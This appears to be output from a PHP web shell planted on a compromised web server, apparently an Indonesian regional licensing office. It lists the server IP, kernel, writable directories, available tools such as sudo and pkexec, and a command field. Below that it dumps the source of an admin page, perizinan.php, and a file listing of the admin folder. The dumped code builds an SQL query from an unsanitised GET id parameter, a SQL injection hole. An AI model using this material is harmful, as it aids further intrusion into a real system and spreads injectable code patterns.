p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/dpmptsp/public_html/home/admin/page/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /home/dpmptsp/public_html/home/admin/page/perizinan.php
<section role="main" class="content-body">
<?php
if(($_GET['page']=='perizinan') and ($_SESSION['levelakses']=='Administrator')){
?>

					<!-- start: page -->
						<section class="panel panel-featured panel-featured-primary" style="margin-top:-60px;">
							<header class="panel-heading">
								<div class="panel-actions">
									<a href="#" class="fa fa-caret-down"></a>
								</div>
								<h2 class="panel-title"><i class="fa fa-file-text-o"></i> JENIS PERIZINAN</h2>
							</header>
							<div class="panel-body">
								<a href="index.php?page=addPerizinan" class="mb-xs mt-xs mr-xs btn btn-primary"><i class="fa  fa-plus-square"></i> Tambah</a>
								<hr class="dotted short">

								<table class="table table-bordered table-striped mb-none" id="datatable-default">
									<thead>
										<tr>
											<th width="10px">No</th>
											<td width="60%">Nama Perizinan</th>
											<th width="15%" >Bagian</th>
											<th></th>
										</tr>
									</thead>
									<tbody>
									<?php
									$stmt = $conn->prepare("SELECT * FROM jenislayanan order by id"); 
									$stmt->execute();
									$data = $stmt->fetchAll();
									$stmt->closeCursor();
									$x=1;
									foreach($data as $v){
									echo '
									    <tr>										
                                        	<td>'.$x.'</td>
                                        	<td>'.$v['judul'].'</td>
                                        	<td>'.$v['jenis'].'</td>
                                        	<td align="center">
												<a href="index.php?page=editPerizinan&id='.$v['id'].'" class="mb-xs mt-xs mr-xs btn btn-default" role="button"><i class="fa fa-pencil"></i></a>
												<a href="#modalHeaderColorPrimary'.$v['id'].'" class="mb-xs mt-xs mr-xs btn btn-default modal-basic" role="button"  ><i class="fa fa-trash-o"></i></a>
												<a href="#" target="_blank" class="mb-xs mt-xs mr-xs btn btn-default" role="button"><i class="fa  fa-send-o"></i></a>
											</td>
											</tr>';
									$x++;
									}
									?>										
									</tbody>
								</table>
							</div>
						</section>		
									<?php
									foreach($data as $v){
									?>
										<div id="modalHeaderColorPrimary<?php echo $v['id'];?>" class="modal-block modal-header-color modal-block-primary mfp-hide">
										<section class="panel">
											<header class="panel-heading">
												<h2 class="panel-title">Are you sure?</h2>
											</header>
											<div class="panel-body">
												<div class="modal-wrapper">
													<div class="modal-icon">
														<i class="fa fa-trash-o"></i>
													</div>
													<div class="modal-text">
														<h4>Hapus</h4>
														<p>Apakah Anda Ingin menghapus "<?php echo $v['judul'];?>" ?</p>
													</div>
												</div>
											</div>
											<footer class="panel-footer">
												<div class="row">
													<div class="col-md-12 text-right">
														<a href="index.php?act=deletePerizinan&id=<?php echo $v['id'];?>" class="btn btn-primary">Ya</a>
														<button class="btn btn-default modal-dismiss">Tidak</button>
													</div>
												</div>
											</footer>
										</section>
									</div>
									<?php
									}
									?>						
 
<?php
}elseif( (($_GET['page']=='editPerizinan') OR ($_GET['page']=='addPerizinan') ) and ($_SESSION['levelakses']=='Administrator')){
	$art[0]['judul']='';
	$art[0]['deskripsi']='';
	$art[0]['jenis']='';
	$act='index.php?act=addPerizinan';
	$ID='';	
	$r="required";
	if (isset($_GET['id'])){
		$stmt = $conn->prepare("SELECT * FROM jenislayanan WHERE id='".$_GET['id']."' limit 1"); 
		$stmt->execute();
		$art = $stmt->fetchAll();
		$stmt->closeCursor();
		$act='index.php?act=editPerizinan';
		$ID='<input type="hidden" name="id" value="'.$art[0]['id'].'" required >';
		$r='';
	}
	
?>		
					<!-- start: page Setting-->
					<div class="row" style="margin-top:-60px;">
						<div class="col-md-12 col-lg-12">
							<section class="panel panel-featured panel-featured-primary">
								<header class="panel-heading">
									<div class="panel-actions">
										<a href="#" class="fa fa-caret-down"></a>
									</div>
									<h2 class="panel-title"><i class="fa fa-file-text-o"></i> Jenis Perizinan</h2>
								</header>
								<div class="panel-body">
								<form id="form" class="form-horizontal" method="POST" style="margin-top:15px;" action="<?php echo $act;?>" enctype="multipart/form-data">
											<fieldset>
												<?php echo $ID; ?>
												<div class="form-group">
													<label class="col-md-1 control-label" for="judul">Nama Izin</label>
													<div class="col-md-11">
														<input type="text" class="form-control" id="judul" name="judul" value="<?php echo $art[0]['judul']; ?>" required>
													</div>
												</div>											

												<div class="form-group">
													<label class="col-md-1 control-label">Tipe</label>
													<div class="col-md-3">
														<div class="input-group btn-group">
															<span class="input-group-addon">
																<i class="fa fa-th-list"></i>
															</span>
														<?php
														$tipe = array('Perizinan','Pariwisata','Paralel','Kesehatan','Penanaman Modal');
														buatSelect('jenis', $tipe,$art[0]['jenis'],true,"form-control border-input");

														?>														
														</div>
													</div>
													<label class="col-md-1 control-label" for="judul">File SOP</label>
													<div class="col-md-3">
														<input name="file" class="form-control" type="file" accept="application/pdf" />
													</div>	
													<label class="col-md-1 control-label" for="Formulir">Formulir</label>
													<div class="col-md-3">
														<input name="formulir" class="form-control" type="file" accept="application/pdf" />
													</div>														
												</div>													
												<hr class="dotted short">												
												<div class="form-group">
													<label class="col-md-1 control-label">Deskripsi</label>
														<div class="col-md-11">
															<textarea name="deskripsi" class="summernote" data-plugin-summernote data-plugin-options='{ "height": 180, "codemirror": { "theme": "ambiance" } }' required><?php echo $art[0]['deskripsi'];?></textarea>
														</div>
												</div>

												
											</fieldset>
											
											<div class="panel-footer" style="margin-top:20px;">
												<div class="row">
													<div class="col-md-9 col-md-offset-1">
														<button type="submit" class="btn btn-primary">Submit</button>
														<button type="reset" class="btn btn-default">Reset</button>
													</div>
												</div>
											</div>
										</form>
								</div>
							</section>
													
						</div>
					</div>
					<!-- end: page Setting-->

<?php
}
?>

</section>
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
December 21 2023 09:33:10
1000 / 1000
0755
about.php
5.217 KB
January 13 2024 08:37:55
1000 / 1000
0755
artikel.php
10.718 KB
January 13 2024 08:37:55
1000 / 1000
0755
dashboard.php
6.179 KB
January 13 2024 08:37:55
1000 / 1000
0755
formPMA.php
9.67 KB
January 13 2024 08:37:55
1000 / 1000
0755
formPMDN.php
9.462 KB
January 13 2024 08:37:55
1000 / 1000
0755
formUMKM.php
6.325 KB
January 13 2024 08:37:56
1000 / 1000
0755
index.html
0 KB
January 13 2024 08:37:56
1000 / 1000
0755
jabatan.php
6.976 KB
January 13 2024 08:37:56
1000 / 1000
0755
log.php
11.471 KB
January 13 2024 08:37:56
1000 / 1000
0755
partner.php
8.179 KB
January 13 2024 08:37:56
1000 / 1000
0755
perizinan.php
7.02 KB
January 13 2024 08:37:56
1000 / 1000
0755
promosi.php
11.417 KB
January 13 2024 08:37:56
1000 / 1000
0755
struktur.php
13.235 KB
January 13 2024 08:37:56
1000 / 1000
0755
user.php
20.516 KB
January 13 2024 08:37:56
1000 / 1000
0755